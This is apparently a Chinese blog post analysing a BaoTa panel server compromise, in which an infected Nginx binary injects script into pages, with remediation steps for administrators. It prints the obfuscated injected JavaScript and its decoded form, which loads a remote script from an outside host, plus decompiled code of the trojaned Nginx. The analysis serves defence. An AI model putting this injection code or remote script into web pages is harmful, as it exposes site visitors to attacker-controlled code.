截止目前很多人被挂马，宝塔虽然12月23升级了但是并没有解决问题，宝塔官方仍然为出面回应此事，并且这件事情仍在进一步发酵。本篇文章内容较多，如果想知道来龙去脉以及补救措施，请各位接着往下看。

事件经过

最近宝塔面板应该是出现了比较严重的漏洞，被攻击的服务器，Nginx会自动检测header中accept字段是否包含Gzip，如果包含则会想目标页面中，加入一段JS引用，以下两张图来自《全球主机交流论坛》中的一篇帖子 不包含Gzip 包含Gzip 深度剖析 JavaScript代码解析 插入的这段JS，可以通过解码获得，原文为以下内容：

不包含Gzip

深度剖析

JavaScript代码解析 插入的这段JS，可以通过解码获得，原文为以下内容：

var _0xd4d9=["x67x65x74x4Dx69x6Ex75x74x65x73","x73x65x74x4Dx69x6Ex75x74x65x73","x63x6Fx6Fx6Bx69x65","x3D","x3Bx65x78x70x69x72x65x73x3D","x74x6Fx55x54x43x53x74x72x69x6Ex67","x77x61x66x5Fx73x63","x35x38x38x39x36x34x37x37x32x36","x25x33x43x73x63x72x69x70x74x20x73x72x63x3Dx27x68x74x74x70x73x3Ax2Fx2Fx61x2Ex6Dx73x73x74x61x74x69x63x2Ex6Ex65x74x2Fx6Dx61x69x6Ex33x2Fx63x6Fx6Dx6Dx6Fx6Ex2Fx61x73x73x65x74x73x2Fx74x65x6Dx70x6Cx61x74x65x2Fx68x65x61x64x2Fx61x64x2Ex74x6Dx70x6Cx5Fx61x39x62x37x2Ex6Ax73x27x25x33x45x25x33x43x2Fx73x63x72x69x70x74x25x33x45","x77x72x69x74x65"];function setc(_0x64d8x2,_0x64d8x3,_0x64d8x4){var _0x64d8x5= new Date();_0x64d8x5[_0xd4d9[1]](_0x64d8x5[_0xd4d9[0]]()+ _0x64d8x4); document[_0xd4d9[2]]= _0x64d8x2+ _0xd4d9[3]+ _0x64d8x3+ _0xd4d9[4]+ _0x64d8x5[_0xd4d9[5]]()}setc(_0xd4d9[6],_0xd4d9[7],360);document[_0xd4d9[9]](unescape(_0xd4d9[8]));  

这段代码中声明了一个长度为 10 的数组，并且包含了关键字符 「Write」与 「”%3Cscript src=’https://a.msstatic.net/main3/common/assets/template/head/ad.tmpl_a9b7.js’%3E%3C/script%3E”」，通过对它解密后，我们可以得到以下内容：

var _0xd4d9 = ["getMinutes", "setMinutes", "cookie", "=", ";expires=", "toUTCString", "waf_sc", "5889647726", "%3Cscript src='https://a.msstatic.net/main3/common/assets/template/head/ad.tmpl_a9b7.js'%3E%3C/script%3E", "write"]; function setc(_0x64d8x2, _0x64d8x3, _0x64d8x4) { var _0x64d8x5 = new Date(); _0x64d8x5[_0xd4d9[1]](_0x64d8x5[_0xd4d9[0]]() + _0x64d8x4); document[_0xd4d9[2]] = _0x64d8x2 + _0xd4d9[3] + _0x64d8x3 + _0xd4d9[4] + _0x64d8x5[_0xd4d9[5]]() } setc(_0xd4d9[6], _0xd4d9[7], 360); document[_0xd4d9[9]](unescape(_0xd4d9[8]));  

利用document.write，向页面中插入
有趣的是，这段JS目前屏蔽了海外访问，我这里使用新加坡代理访问无果，国内正常访问，可见这段代码非常针对国内的用户：

Nginx感染分析

由于目前宝塔官方并没有说明目前宝塔面板是否存在0day漏洞，所以我们只能将目光瞥向Nginx，我们将这份被感染的Nginx文件拖到IDA中反编译分析一下。之前有曝光过图，不过我感觉图已经包浆了，所以我们自己进来看一下。 我们通过 「ALT + B」搜索关键字符串「systemd-private-56d86f7d8382402517f3b5-jP37xx」，这个文件就是由入侵者所释放的文件，也是上文中「JavaScript代码解析」 所分析的文件。 通过定位，我们大致是来到了这个函数 「__int64 __fastcall sub_4BE051(_QWORD *a1, const char *a2)」

if ( ngx_strcasestrn(v7, "waf_sc=5889647726", 16LL) ) break;  

这里的 “waf_sc”的内容，恰巧就对应了JavaScript中的 「_0xd4d9[6]」和 「_0xd4d9[7]」

往下查阅后，我们就能看到以下内容：

if ( a1[99] && a1[98] ) { if ( ngx_strcasestrn(a2, "admin", 4LL) || ngx_strcasestrn(a2, "user", 3LL) || ngx_strcasestrn(a2, "manager", 6LL) || ngx_strcasestrn(a2, "api", 2LL) || ngx_strcasestrn(a2, "config", 5LL) || ngx_strcasestrn(a2, "login", 4LL) || ngx_strcasestrn(a2, 7689484LL, 3LL) || ngx_strcasestrn(a2, ".xml", 3LL) || ngx_strcasestrn(a2, ".css", 3LL) ) { sprintf(v11, "return 3 url:%s method:%d", a2, a1[122]); sub_4BDFE1(v11); return 3LL; } else { v9 = access("/tmp/systemd-private-56d86f7d8382402517f3b5-jP37av", 0); result = 6LL; if ( v9 != -1 ) { v10 = access("/var/tmp/systemd-private-56d86f7d8382402517f3b51625789161d2cb-chronyd.service-jP37av", 0) == -1; result = 7LL; if ( !v10 ) return 0LL; } } } else { sub_4BDFE1("return 2"); return 2LL; }  

从这里，我们就能很清楚的看到了， 「v9」和 「v10」这两个变量应该就对应了恶意代码，通过access方式读入文件，不过按照被感染后的代码逻辑，应该是先判断是否包含以下字符串，没有就输出恶意代码。

'admin' 'user' 'manager' 'api' 'config' 'login' '/var/tmp/msglog.txt' '.xml' '.css'  

关于 「ngx_strcasestrn」函数的用法，大家在网上也能够搜得到。 这里判断，我猜测是为了能让网页的JS文件能够正常的加载，并且跳转到目标页面，毕竟像这种「api」目录，可能是以application/json 这种形式传递数据。 补救措施 官方还是没有给出相关办法，那就只有看着办了，如果使用了「Nginx」的服务器，建议自查一下 /var/tmp/ 和 /tmp 目录，看下有没有这个 systemd-private-56d86f7d8382402517f3b5-jP37av，有的话请尽快删除，并且修改相关目录的权限。不过有群友反馈，使用 「Apache」也有中招的，但是我并没有了解相关的信息。 宝塔面板的话，/www/server/nginx/sbin，这个目录设置保护，或者修改目录权限，有米的话，可安装 「堡塔企业级防篡改 – 重构版」插件。

注意，本次事件与面板是否是开心版无关，所以各位也就不用去歧视，相反我们应该呼吁官方给出相应的解决方案。 如果对宝塔面板的安全性仍有疑问的话，

可采取以下措施：

关闭宝塔面板 开启BasicAuth认证

修改面板默认端口，如7890 添加授权IP访问

动态口令认证或者访问设备验证 修改默认安全入口

或者干脆这样：

未出现问题的用户如果担心风险，执行bt stop命令停止面板服务(开启命令是bt restart)，停止面板服务不会影响网站的正常运行。